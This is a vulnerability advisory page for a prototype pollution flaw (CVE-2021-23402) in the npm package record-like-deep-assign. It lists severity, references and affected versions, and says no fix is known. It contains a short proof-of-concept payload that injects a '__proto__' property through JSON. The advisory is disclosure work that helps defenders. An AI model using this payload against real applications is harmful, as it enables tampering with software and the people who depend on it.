Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdxbTYtOXY0OS0zOG05
Prototype Pollution in record-like-deep-assign
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
Permalink: https://github.com/advisories/GHSA-7qm6-9v49-38m9JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdxbTYtOXY0OS0zOG05
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: 8 months ago
CVSS Score: 7.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Identifiers: GHSA-7qm6-9v49-38m9, CVE-2021-23402
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-23402
- https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35
- https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024
- https://github.com/advisories/GHSA-7qm6-9v49-38m9
Blast Radius: 0.0
Affected Packages
npm:record-like-deep-assign
Dependent packages: 0Dependent repositories: 1
Downloads: 19 last month
Affected Version Ranges: <= 1.0.1
No known fixed version
All affected versions: 1.0.0, 1.0.1